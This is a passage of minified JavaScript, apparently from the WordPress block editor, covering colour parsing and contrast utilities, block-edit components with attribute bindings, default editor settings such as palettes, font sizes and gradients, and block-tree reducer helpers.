t,o,r,n},Jme=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,epe=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,tpe=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,ope=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,SO={string:[[function(e){var t=Qme.exec(e);return t?(e=t[1]).length&lt;=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:e.length===4?Zo(parseInt(e[3]+e[3],16)/255,2):1}:e.length===6||e.length===8?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:e.length===8?Zo(parseInt(e.substr(6,2),16)/255,2):1}:null:null},&quot;hex&quot;],[function(e){var t=tpe.exec(e)||ope.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:h6({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:t[7]===void 0?1:Number(t[7])/(t[8]?100:1)}):null},&quot;rgb&quot;],[function(e){var t=Jme.exec(e)||epe.exec(e);if(!t)return null;var o,r,n=g6({h:(o=t[1],r=t[2],r===void 0&amp;&amp;(r=&quot;deg&quot;),Number(o)*(Xme[r]||1)),s:Number(t[3]),l:Number(t[4]),a:t[5]===void 0?1:Number(t[5])/(t[6]?100:1)});return k6(n)},&quot;hsl&quot;]],object:[[function(e){var t=e.r,o=e.g,r=e.b,n=e.a,i=n===void 0?1:n;return ml(t)&amp;&amp;ml(o)&amp;&amp;ml(r)?h6({r:Number(t),g:Number(o),b:Number(r),a:Number(i)}):null},&quot;rgb&quot;],[function(e){var t=e.h,o=e.s,r=e.l,n=e.a,i=n===void 0?1:n;if(!ml(t)||!ml(o)||!ml(r))return null;var s=g6({h:Number(t),s:Number(o),l:Number(r),a:Number(i)});return k6(s)},&quot;hsl&quot;],[function(e){var t=e.h,o=e.s,r=e.v,n=e.a,i=n===void 0?1:n;if(!ml(t)||!ml(o)||!ml(r))return null;var s=(function(a){return{h:_6(a.h),s:Si(a.s,0,100),v:Si(a.v,0,100),a:Si(a.a)}})({h:Number(t),s:Number(o),v:Number(r),a:Number(i)});return w6(s)},&quot;hsv&quot;]]},v6=function(e,t){for(var o=0;o&lt;t.length;o++){var r=t[o][0](e);if(r)return[r,t[o][1]]}return[null,void 0]},rpe=function(e){return typeof e==&quot;string&quot;?v6(e.trim(),SO.string):typeof e==&quot;object&quot;&amp;&amp;e!==null?v6(e,SO.object):[null,void 0]};var vO=function(e,t){var o=Gk(e);return{h:o.h,s:Si(o.s+100*t,0,100),l:o.l,a:o.a}},yO=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},y6=function(e,t){var o=Gk(e);return{h:o.h,s:o.s,l:Si(o.l+100*t,0,100),a:o.a}},_O=(function(){function e(t){this.parsed=rpe(t)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return this.parsed!==null},e.prototype.brightness=function(){return Zo(yO(this.rgba),2)},e.prototype.isDark=function(){return yO(this.rgba)&lt;.5},e.prototype.isLight=function(){return yO(this.rgba)&gt;=.5},e.prototype.toHex=function(){return t=kO(this.rgba),o=t.r,r=t.g,n=t.b,s=(i=t.a)&lt;1?m0(Zo(255*i)):&quot;&quot;,&quot;#&quot;+m0(o)+m0(r)+m0(n)+s;var t,o,r,n,i,s},e.prototype.toRgb=function(){return kO(this.rgba)},e.prototype.toRgbString=function(){return t=kO(this.rgba),o=t.r,r=t.g,n=t.b,(i=t.a)&lt;1?&quot;rgba(&quot;+o+&quot;, &quot;+r+&quot;, &quot;+n+&quot;, &quot;+i+&quot;)&quot;:&quot;rgb(&quot;+o+&quot;, &quot;+r+&quot;, &quot;+n+&quot;)&quot;;var t,o,r,n,i},e.prototype.toHsl=function(){return b6(Gk(this.rgba))},e.prototype.toHslString=function(){return t=b6(Gk(this.rgba)),o=t.h,r=t.s,n=t.l,(i=t.a)&lt;1?&quot;hsla(&quot;+o+&quot;, &quot;+r+&quot;%, &quot;+n+&quot;%, &quot;+i+&quot;)&quot;:&quot;hsl(&quot;+o+&quot;, &quot;+r+&quot;%, &quot;+n+&quot;%)&quot;;var t,o,r,n,i},e.prototype.toHsv=function(){return t=x6(this.rgba),{h:Zo(t.h),s:Zo(t.s),v:Zo(t.v),a:Zo(t.a,3)};var t},e.prototype.invert=function(){return Bt({r:255-(t=this.rgba).r,g:255-t.g,b:255-t.b,a:t.a});var t},e.prototype.saturate=function(t){return t===void 0&amp;&amp;(t=.1),Bt(vO(this.rgba,t))},e.prototype.desaturate=function(t){return t===void 0&amp;&amp;(t=.1),Bt(vO(this.rgba,-t))},e.prototype.grayscale=function(){return Bt(vO(this.rgba,-1))},e.prototype.lighten=function(t){return t===void 0&amp;&amp;(t=.1),Bt(y6(this.rgba,t))},e.prototype.darken=function(t){return t===void 0&amp;&amp;(t=.1),Bt(y6(this.rgba,-t))},e.prototype.rotate=function(t){return t===void 0&amp;&amp;(t=15),this.hue(this.hue()+t)},e.prototype.alpha=function(t){return typeof t==&quot;number&quot;?Bt({r:(o=this.rgba).r,g:o.g,b:o.b,a:t}):Zo(this.rgba.a,3);var o},e.prototype.hue=function(t){var o=Gk(this.rgba);return typeof t==&quot;number&quot;?Bt({h:t,s:o.s,l:o.l,a:o.a}):Zo(o.h)},e.prototype.isEqual=function(t){return this.toHex()===Bt(t).toHex()},e})(),Bt=function(e){return e instanceof _O?e:new _O(e)},S6=[],Kc=function(e){e.forEach(function(t){S6.indexOf(t)&lt;0&amp;&amp;(t(_O,SO),S6.push(t))})};function Yc(e,t){var o={white:&quot;#ffffff&quot;,bisque:&quot;#ffe4c4&quot;,blue:&quot;#0000ff&quot;,cadetblue:&quot;#5f9ea0&quot;,chartreuse:&quot;#7fff00&quot;,chocolate:&quot;#d2691e&quot;,coral:&quot;#ff7f50&quot;,antiquewhite:&quot;#faebd7&quot;,aqua:&quot;#00ffff&quot;,azure:&quot;#f0ffff&quot;,whitesmoke:&quot;#f5f5f5&quot;,papayawhip:&quot;#ffefd5&quot;,plum:&quot;#dda0dd&quot;,blanchedalmond:&quot;#ffebcd&quot;,black:&quot;#000000&quot;,gold:&quot;#ffd700&quot;,goldenrod:&quot;#daa520&quot;,gainsboro:&quot;#dcdcdc&quot;,cornsilk:&quot;#fff8dc&quot;,cornflowerblue:&quot;#6495ed&quot;,burlywood:&quot;#deb887&quot;,aquamarine:&quot;#7fffd4&quot;,beige:&quot;#f5f5dc&quot;,crimson:&quot;#dc143c&quot;,cyan:&quot;#00ffff&quot;,darkblue:&quot;#00008b&quot;,darkcyan:&quot;#008b8b&quot;,darkgoldenrod:&quot;#b8860b&quot;,darkkhaki:&quot;#bdb76b&quot;,darkgray:&quot;#a9a9a9&quot;,darkgreen:&quot;#006400&quot;,darkgrey:&quot;#a9a9a9&quot;,peachpuff:&quot;#ffdab9&quot;,darkmagenta:&quot;#8b008b&quot;,darkred:&quot;#8b0000&quot;,darkorchid:&quot;#9932cc&quot;,darkorange:&quot;#ff8c00&quot;,darkslateblue:&quot;#483d8b&quot;,gray:&quot;#808080&quot;,darkslategray:&quot;#2f4f4f&quot;,darkslategrey:&quot;#2f4f4f&quot;,deeppink:&quot;#ff1493&quot;,deepskyblue:&quot;#00bfff&quot;,wheat:&quot;#f5deb3&quot;,firebrick:&quot;#b22222&quot;,floralwhite:&quot;#fffaf0&quot;,ghostwhite:&quot;#f8f8ff&quot;,darkviolet:&quot;#9400d3&quot;,magenta:&quot;#ff00ff&quot;,green:&quot;#008000&quot;,dodgerblue:&quot;#1e90ff&quot;,grey:&quot;#808080&quot;,honeydew:&quot;#f0fff0&quot;,hotpink:&quot;#ff69b4&quot;,blueviolet:&quot;#8a2be2&quot;,forestgreen:&quot;#228b22&quot;,lawngreen:&quot;#7cfc00&quot;,indianred:&quot;#cd5c5c&quot;,indigo:&quot;#4b0082&quot;,fuchsia:&quot;#ff00ff&quot;,brown:&quot;#a52a2a&quot;,maroon:&quot;#800000&quot;,mediumblue:&quot;#0000cd&quot;,lightcoral:&quot;#f08080&quot;,darkturquoise:&quot;#00ced1&quot;,lightcyan:&quot;#e0ffff&quot;,ivory:&quot;#fffff0&quot;,lightyellow:&quot;#ffffe0&quot;,lightsalmon:&quot;#ffa07a&quot;,lightseagreen:&quot;#20b2aa&quot;,linen:&quot;#faf0e6&quot;,mediumaquamarine:&quot;#66cdaa&quot;,lemonchiffon:&quot;#fffacd&quot;,lime:&quot;#00ff00&quot;,khaki:&quot;#f0e68c&quot;,mediumseagreen:&quot;#3cb371&quot;,limegreen:&quot;#32cd32&quot;,mediumspringgreen:&quot;#00fa9a&quot;,lightskyblue:&quot;#87cefa&quot;,lightblue:&quot;#add8e6&quot;,midnightblue:&quot;#191970&quot;,lightpink:&quot;#ffb6c1&quot;,mistyrose:&quot;#ffe4e1&quot;,moccasin:&quot;#ffe4b5&quot;,mintcream:&quot;#f5fffa&quot;,lightslategray:&quot;#778899&quot;,lightslategrey:&quot;#778899&quot;,navajowhite:&quot;#ffdead&quot;,navy:&quot;#000080&quot;,mediumvioletred:&quot;#c71585&quot;,powderblue:&quot;#b0e0e6&quot;,palegoldenrod:&quot;#eee8aa&quot;,oldlace:&quot;#fdf5e6&quot;,paleturquoise:&quot;#afeeee&quot;,mediumturquoise:&quot;#48d1cc&quot;,mediumorchid:&quot;#ba55d3&quot;,rebeccapurple:&quot;#663399&quot;,lightsteelblue:&quot;#b0c4de&quot;,mediumslateblue:&quot;#7b68ee&quot;,thistle:&quot;#d8bfd8&quot;,tan:&quot;#d2b48c&quot;,orchid:&quot;#da70d6&quot;,mediumpurple:&quot;#9370db&quot;,purple:&quot;#800080&quot;,pink:&quot;#ffc0cb&quot;,skyblue:&quot;#87ceeb&quot;,springgreen:&quot;#00ff7f&quot;,palegreen:&quot;#98fb98&quot;,red:&quot;#ff0000&quot;,yellow:&quot;#ffff00&quot;,slateblue:&quot;#6a5acd&quot;,lavenderblush:&quot;#fff0f5&quot;,peru:&quot;#cd853f&quot;,palevioletred:&quot;#db7093&quot;,violet:&quot;#ee82ee&quot;,teal:&quot;#008080&quot;,slategray:&quot;#708090&quot;,slategrey:&quot;#708090&quot;,aliceblue:&quot;#f0f8ff&quot;,darkseagreen:&quot;#8fbc8f&quot;,darkolivegreen:&quot;#556b2f&quot;,greenyellow:&quot;#adff2f&quot;,seagreen:&quot;#2e8b57&quot;,seashell:&quot;#fff5ee&quot;,tomato:&quot;#ff6347&quot;,silver:&quot;#c0c0c0&quot;,sienna:&quot;#a0522d&quot;,lavender:&quot;#e6e6fa&quot;,lightgreen:&quot;#90ee90&quot;,orange:&quot;#ffa500&quot;,orangered:&quot;#ff4500&quot;,steelblue:&quot;#4682b4&quot;,royalblue:&quot;#4169e1&quot;,turquoise:&quot;#40e0d0&quot;,yellowgreen:&quot;#9acd32&quot;,salmon:&quot;#fa8072&quot;,saddlebrown:&quot;#8b4513&quot;,sandybrown:&quot;#f4a460&quot;,rosybrown:&quot;#bc8f8f&quot;,darksalmon:&quot;#e9967a&quot;,lightgoldenrodyellow:&quot;#fafad2&quot;,snow:&quot;#fffafa&quot;,lightgrey:&quot;#d3d3d3&quot;,lightgray:&quot;#d3d3d3&quot;,dimgray:&quot;#696969&quot;,dimgrey:&quot;#696969&quot;,olivedrab:&quot;#6b8e23&quot;,olive:&quot;#808000&quot;},r={};for(var n in o)r[o[n]]=n;var i={};e.prototype.toName=function(s){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return&quot;transparent&quot;;var a,c,u=r[this.toHex()];if(u)return u;if(s?.closest){var d=this.toRgb(),f=1/0,m=&quot;black&quot;;if(!i.length)for(var h in o)i[h]=new e(o[h]).toRgb();for(var p in o){var g=(a=d,c=i[p],Math.pow(a.r-c.r,2)+Math.pow(a.g-c.g,2)+Math.pow(a.b-c.b,2));g&lt;f&amp;&amp;(f=g,m=p)}return m}},t.string.push([function(s){var a=s.toLowerCase(),c=a===&quot;transparent&quot;?&quot;#0000&quot;:o[a];return c?new e(c).toRgb():null},&quot;name&quot;])}var xO=function(e){var t=e/255;return t&lt;.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},wO=function(e){return .2126*xO(e.r)+.7152*xO(e.g)+.0722*xO(e.b)};function Op(e){e.prototype.luminance=function(){return t=wO(this.rgba),(o=2)===void 0&amp;&amp;(o=0),r===void 0&amp;&amp;(r=Math.pow(10,o)),Math.round(r*t)/r+0;var t,o,r},e.prototype.contrast=function(t){t===void 0&amp;&amp;(t=&quot;#FFF&quot;);var o,r,n,i,s,a,c,u=t instanceof e?t:new e(t);return i=this.rgba,s=u.toRgb(),a=wO(i),c=wO(s),o=a&gt;c?(a+.05)/(c+.05):(c+.05)/(a+.05),(r=2)===void 0&amp;&amp;(r=0),n===void 0&amp;&amp;(n=Math.pow(10,r)),Math.floor(n*o)/n+0},e.prototype.isReadable=function(t,o){return t===void 0&amp;&amp;(t=&quot;#FFF&quot;),o===void 0&amp;&amp;(o={}),this.contrast(t)&gt;=(a=(s=(r=o).size)===void 0?&quot;normal&quot;:s,(i=(n=r.level)===void 0?&quot;AA&quot;:n)===&quot;AAA&quot;&amp;&amp;a===&quot;normal&quot;?7:i===&quot;AA&quot;&amp;&amp;a===&quot;large&quot;?3:4.5);var r,n,i,s,a}}var I6=l(A(),1);var E6=l(CO(),1),{lock:T6,unlock:M}=(0,E6.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/block-editor&quot;);Kc([Yc,Op]);var{kebabCase:npe}=M(I6.privateApis),da=(e,t,o)=&gt;{if(t){let r=e?.find(n=&gt;n.slug===t);if(r)return r}return{color:o}},p0=(e,t)=&gt;e?.find(o=&gt;o.color===t);function _i(e,t){if(!(!e||!t))return`has-${npe(t)}-${e}`}function P6(e,t){let o=Bt(t),r=({color:i})=&gt;o.contrast(i),n=Math.max(...e.map(r));return e.find(i=&gt;r(i)===n).color}var zw=l(R(),1),zf=l(Z(),1),uU=l(A(),1);var sU=l(F(),1),aU=l(Re(),1);var Vw=l(R(),1),Dw=l($(),1);var pl=l($(),1),F6=l(A(),1),$k=l(F(),1),vf=l(R(),1);var Ap=l(R(),1),A6=l(w(),1),h0=(0,Ap.createContext)({});h0.displayName=&quot;BlockContext&quot;;function g0({value:e,children:t}){let o=(0,Ap.useContext)(h0),r=(0,Ap.useMemo)(()=&gt;({...o,...e}),[o,e]);return(0,A6.jsx)(h0.Provider,{value:r,children:t})}var xr=h0;var Lp=l(dn(),1);function gf(e){return e?.startsWith(&quot;#&quot;)&amp;&amp;(0,Lp.isValidFragment)(e)}function bf(e){return e?.startsWith(&quot;/&quot;)||e?.startsWith(&quot;./&quot;)||e?.startsWith(&quot;../&quot;)}function kf(e){if(e.includes(&quot; &quot;))return!1;let o=(0,Lp.getProtocol)(e),r=(0,Lp.isValidProtocol)(o),n=ipe(e),i=e?.startsWith(&quot;www.&quot;);return r||i||gf(e)||n||bf(e)}function ipe(e,t=6){let o=e.split(/[?#]/)[0];return new RegExp(`(?&lt;=\\S)\\.(?:[a-zA-Z_]{2,${t}})(?:\\/|$)`).test(o)}var spe=&quot;__default&quot;,N6=&quot;core/pattern-overrides&quot;;function Wk(e){return e?.[spe]?.source===N6}function M6(e,t){if(Wk(e)){let o={};for(let r of t){let n=e[r]?e[r]:{source:N6};o[r]=n}return o}return e}var D6=l(R(),1),ur=(0,D6.createContext)({});ur.displayName=&quot;PrivateBlockContext&quot;;var b0=l(w(),1),ape={},lpe=e=&gt;{let{name:t}=e,o=(0,pl.getBlockType)(t);if(!o)return null;let r=o.edit||o.save;return(0,b0.jsx)(r,{...e})},V6=(0,F6.withFilters)(&quot;editor.BlockEdit&quot;)(lpe),cpe=e=&gt;{let{name:t,clientId:o,attributes:r,setAttributes:n}=e,i=(0,$k.useRegistry)(),s=(0,pl.getBlockType)(t),a=(0,vf.useContext)(xr),c=(0,$k.useSelect)(v=&gt;M(v(pl.store)).getAllBlockBindingsSources(),[]),{bindableAttributes:u}=(0,vf.useContext)(ur),{blockBindings:d,context:f,hasPatternOverrides:m}=(0,vf.useMemo)(()=&gt;{let v=s?.usesContext?Object.fromEntries(Object.entries(a).filter(([k])=&gt;s.usesContext.includes(k))):ape;return r?.metadata?.bindings&amp;&amp;Object.values(r?.metadata?.bindings||{}).forEach(k=&gt;{c[k?.source]?.usesContext?.forEach(y=&gt;{v[y]=a[y]})}),{blockBindings:M6(r?.metadata?.bindings,u),context:v,hasPatternOverrides:Wk(r?.metadata?.bindings)}},[s?.usesContext,a,r?.metadata?.bindings,u,c]),h=(0,$k.useSelect)(v=&gt;{if(!d)return r;let k={},y=new Map;for(let[S,x]of Object.entries(d)){let{source:C,args:B}=x,I=c[C];!I||!u?.includes(S)||y.set(I,{...y.get(I),[S]:{args:B}})}if(y.size)for(let[S,x]of y){let C={};S.getValues?C=S.getValues({select:v,context:f,clientId:o,bindings:x}):Object.keys(x).forEach(B=&gt;{C[B]=S.label});for(let[B,I]of Object.entries(C))B===&quot;url&quot;&amp;&amp;(!I||!kf(I))?k[B]=null:k[B]=I}return{...r,...k}},[r,u,d,o,f,c]),p=(0,vf.useCallback)(v=&gt;{if(!d){n(v);return}i.batch(()=&gt;{let k={...v},y=new Map;for(let[x,C]of Object.entries(k)){if(!d[x]||!u?.includes(x))continue;let B=d[x],I=c[B?.source];I?.setValues&amp;&amp;(y.set(I,{...y.get(I),[x]:{args:B.args,newValue:C}}),delete k[x])}if(y.size)for(let[x,C]of y)x.setValues({select:i.select,dispatch:i.dispatch,context:f,clientId:o,bindings:C});let S=!!f[&quot;pattern/overrides&quot;];!(m&amp;&amp;S)&amp;&amp;Object.keys(k).length&amp;&amp;(m&amp;&amp;delete k.href,n(k))})},[u,d,o,f,m,n,c,i]);if(!s)return null;if(s.apiVersion&gt;1)return(0,b0.jsx)(V6,{...e,attributes:h,context:f,setAttributes:p});let g=(0,pl.hasBlockSupport)(s,&quot;className&quot;,!0)?(0,pl.getBlockDefaultClassName)(t):null,b=V(g,r?.className,e.className);return(0,b0.jsx)(V6,{...e,attributes:h,className:b,context:f,setAttributes:p})},z6=cpe;var rU=l($(),1),uM=l(A(),1),nU=l(F(),1),Mw=l(N(),1);var Nw=l(F(),1);var qk=l(yf(),1),TO=l(Z(),1),Zk=l(F(),1),Y6=l(Re(),1),E0=l($(),1);var Ne=l(N(),1),H6={insertUsage:{}},Kk={alignWide:!1,supportsLayout:!0,colors:[{name:(0,Ne.__)(&quot;Black&quot;),slug:&quot;black&quot;,color:&quot;#000000&quot;},{name:(0,Ne.__)(&quot;Cyan bluish gray&quot;),slug:&quot;cyan-bluish-gray&quot;,color:&quot;#abb8c3&quot;},{name:(0,Ne.__)(&quot;White&quot;),slug:&quot;white&quot;,color:&quot;#ffffff&quot;},{name:(0,Ne.__)(&quot;Pale pink&quot;),slug:&quot;pale-pink&quot;,color:&quot;#f78da7&quot;},{name:(0,Ne.__)(&quot;Vivid red&quot;),slug:&quot;vivid-red&quot;,color:&quot;#cf2e2e&quot;},{name:(0,Ne.__)(&quot;Luminous vivid orange&quot;),slug:&quot;luminous-vivid-orange&quot;,color:&quot;#ff6900&quot;},{name:(0,Ne.__)(&quot;Luminous vivid amber&quot;),slug:&quot;luminous-vivid-amber&quot;,color:&quot;#fcb900&quot;},{name:(0,Ne.__)(&quot;Light green cyan&quot;),slug:&quot;light-green-cyan&quot;,color:&quot;#7bdcb5&quot;},{name:(0,Ne.__)(&quot;Vivid green cyan&quot;),slug:&quot;vivid-green-cyan&quot;,color:&quot;#00d084&quot;},{name:(0,Ne.__)(&quot;Pale cyan blue&quot;),slug:&quot;pale-cyan-blue&quot;,color:&quot;#8ed1fc&quot;},{name:(0,Ne.__)(&quot;Vivid cyan blue&quot;),slug:&quot;vivid-cyan-blue&quot;,color:&quot;#0693e3&quot;},{name:(0,Ne.__)(&quot;Vivid purple&quot;),slug:&quot;vivid-purple&quot;,color:&quot;#9b51e0&quot;}],fontSizes:[{name:(0,Ne._x)(&quot;Small&quot;,&quot;font size name&quot;),size:13,slug:&quot;small&quot;},{name:(0,Ne._x)(&quot;Normal&quot;,&quot;font size name&quot;),size:16,slug:&quot;normal&quot;},{name:(0,Ne._x)(&quot;Medium&quot;,&quot;font size name&quot;),size:20,slug:&quot;medium&quot;},{name:(0,Ne._x)(&quot;Large&quot;,&quot;font size name&quot;),size:36,slug:&quot;large&quot;},{name:(0,Ne._x)(&quot;Huge&quot;,&quot;font size name&quot;),size:42,slug:&quot;huge&quot;}],imageDefaultSize:&quot;large&quot;,imageSizes:[{slug:&quot;thumbnail&quot;,name:(0,Ne.__)(&quot;Thumbnail&quot;)},{slug:&quot;medium&quot;,name:(0,Ne.__)(&quot;Medium&quot;)},{slug:&quot;large&quot;,name:(0,Ne.__)(&quot;Large&quot;)},{slug:&quot;full&quot;,name:(0,Ne.__)(&quot;Full Size&quot;)}],imageEditing:!0,maxWidth:580,allowedBlockTypes:!0,maxUploadFileSize:0,allowedMimeTypes:null,canLockBlocks:!0,canEditCSS:!1,enableOpenverseMediaCategory:!0,clearBlockSelection:!0,__experimentalCanUserUseUnfilteredHTML:!1,__experimentalBlockDirectory:!1,__mobileEnablePageTemplates:!1,__experimentalBlockPatterns:[],__experimentalBlockPatternCategories:[],isPreviewMode:!1,blockInspectorAnimation:{animationParent:&quot;core/navigation&quot;,&quot;core/navigation&quot;:{enterDirection:&quot;leftToRight&quot;},&quot;core/navigation-submenu&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/navigation-link&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/search&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/social-links&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/page-list&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/spacer&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/home-link&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/site-title&quot;:{enterDirection:&quot;rightToLeft&quot;},&quot;core/site-logo&quot;:{enterDirection:&quot;rightToLeft&quot;}},generateAnchors:!1,gradients:[{name:(0,Ne.__)(&quot;Vivid cyan blue to vivid purple&quot;),gradient:&quot;linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)&quot;,slug:&quot;vivid-cyan-blue-to-vivid-purple&quot;},{name:(0,Ne.__)(&quot;Light green cyan to vivid green cyan&quot;),gradient:&quot;linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%)&quot;,slug:&quot;light-green-cyan-to-vivid-green-cyan&quot;},{name:(0,Ne.__)(&quot;Luminous vivid amber to luminous vivid orange&quot;),gradient:&quot;linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%)&quot;,slug:&quot;luminous-vivid-amber-to-luminous-vivid-orange&quot;},{name:(0,Ne.__)(&quot;Luminous vivid orange to vivid red&quot;),gradient:&quot;linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%)&quot;,slug:&quot;luminous-vivid-orange-to-vivid-red&quot;},{name:(0,Ne.__)(&quot;Very light gray to cyan bluish gray&quot;),gradient:&quot;linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%)&quot;,slug:&quot;very-light-gray-to-cyan-bluish-gray&quot;},{name:(0,Ne.__)(&quot;Cool to warm spectrum&quot;),gradient:&quot;linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%)&quot;,slug:&quot;cool-to-warm-spectrum&quot;},{name:(0,Ne.__)(&quot;Blush light purple&quot;),gradient:&quot;linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%)&quot;,slug:&quot;blush-light-purple&quot;},{name:(0,Ne.__)(&quot;Blush bordeaux&quot;),gradient:&quot;linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%)&quot;,slug:&quot;blush-bordeaux&quot;},{name:(0,Ne.__)(&quot;Luminous dusk&quot;),gradient:&quot;linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%)&quot;,slug:&quot;luminous-dusk&quot;},{name:(0,Ne.__)(&quot;Pale ocean&quot;),gradient:&quot;linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%)&quot;,slug:&quot;pale-ocean&quot;},{name:(0,Ne.__)(&quot;Electric grass&quot;),gradient:&quot;linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%)&quot;,slug:&quot;electric-grass&quot;},{name:(0,Ne.__)(&quot;Midnight&quot;),gradient:&quot;linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%)&quot;,slug:&quot;midnight&quot;}],__unstableResolvedAssets:{styles:[],scripts:[]}};function k0(e,t,o){return[...e.slice(0,o),...Array.isArray(t)?t:[t],...e.slice(o)]}function v0(e,t,o,r=1){let n=[...e];return n.splice(t,r),k0(n,e.slice(t,t+r),o)}var xi=Symbol(&quot;globalStylesDataKey&quot;),y0=Symbol(&quot;globalStylesLinks&quot;),qc=Symbol(&quot;selectBlockPatternsKey&quot;),S0=Symbol(&quot;reusableBlocksSelect&quot;),Zc=Symbol(&quot;sectionRootClientIdKey&quot;),_0=Symbol(&quot;mediaEditKey&quot;),x0=Symbol(&quot;getMediaSelect&quot;),Xc=Symbol(&quot;isIsolatedEditor&quot;),wi=Symbol(&quot;deviceTypeKey&quot;),w0=Symbol(&quot;isNavigationOverlayContext&quot;),C0=Symbol(&quot;mediaUploadOnSuccess&quot;);var{isContentBlock:upe}=M(E0.privateApis),dpe=e=&gt;e;function B0(e,t=&quot;&quot;){let o=new Map,r=[];return o.set(t,r),e.forEach(n=&gt;{let{clientId:i,innerBlocks:s}=n;r.push(i),B0(s,i).forEach((a,c)=&gt;{o.set(c,a)})}),o}function BO(e,t=&quot;&quot;){let o=[],r=[[t,e]];for(;r.length;){let[n,i]=r.shift();i.forEach(({innerBlocks:s,...a})=&gt;{o.push([a.clientId,n]),s?.length&amp;&amp;r.push([a.clientId,s])})}return o}function q6(e,t=dpe){let o=[],r=[...e];for(;r.length;){let{innerBlocks:n,...i}=r.shift();r.push(...n),o.push([i.clientId,t(i)])}return o}function Z6(e){let t={},o=[...e];for(;o.length;){let{innerBlocks:r,...n}=o.shift();o.push(...r),t[n.clientId]=!0}return t}function G6(e){return q6(e,t=&gt;{let{attributes:o,...r}=t;return r})}function W6(e){return q6(e,t=&gt;t.attributes)}function fpe(e,t){return(0,qk.default)(Object.keys(e),Object.keys(t))}function mpe(e,t){return e.type===&quot;UPDATE_BLOCK_ATTRIBUTES&quot;&amp;&amp;t!==void 0&amp;&amp;t.type===&quot;UPDATE_BLOCK_ATTRIBUTES&quot;&amp;&amp;(0,qk.default)(e.clientIds,t.clientIds)&amp;&amp;fpe(e.attributes,t.attributes)}function $6(e,t){let o=e.tree,r=[...t],n=[...t];for(;r.length;){let i=r.shift();r.push(...i.innerBlocks),n.push(...i.innerBlocks)}for(let i of n)o.set(i.clientId,{});for(let i of n)o.set(i.clientId,Object.assign(o.get(i.clientId),{...e.byClientId.get(i.clientId),attributes:e.attributes.get(i.clientId),innerBlocks:i.innerBlocks.map(s=&gt;o.get(s.clientId))}))}function hl(e,t,o=!1){let r=e.tree,n=new Set([]),i=new Set;for(let s of t){let a=o?s:e.parents.get(s);do if(e.controlledInnerBlocks[a]){i.add(a);break}else n.add(a),a=e.parents.get(a);while(a!==void 0)}for(let s of n)r.set(s,{...r.get(s)});for(let s of n)r.get(s).innerBlocks=(e.order.get(s)||[]).map(a=&gt;r.get(a));for(let s of i)r.set(&quot;controlled||&quot;+s,{innerBlocks:(e.order.get(s)||[]).map(a=&gt;r.get(a))})}var ppe=e=&gt;(t={},o)=&gt;{let r=e(t,o);if(r===t)return t;switch(r.tree=t.tree?t.tree:new Map,o.type){case&quot;RECEIVE_BLOCKS&quot;:case&quot;INSERT_BLOCKS&quot;:{r.tree=new Map(r.tree),$6(r,o.blocks),hl(r,o.rootClientId?[o.rootClientId]:[&quot;&quot;],!0);break}case&quot;UPDATE_BLOCK&quot;:r.tree=new Map(r.tree),r.tree.set(o.clientId,{...r.tree.get(o.clientId),...r.byClientId.get(o.clientId),attributes:r.attributes.get(o.clientId)}),hl(r,[o.clientId],!1);break;case&quot;SYNC_DERIVED_BLOCK_ATTRIBUTES&quot;:case&quot;UPDATE_BLOCK_ATTRIBUTES&quot;:{r.tree=new 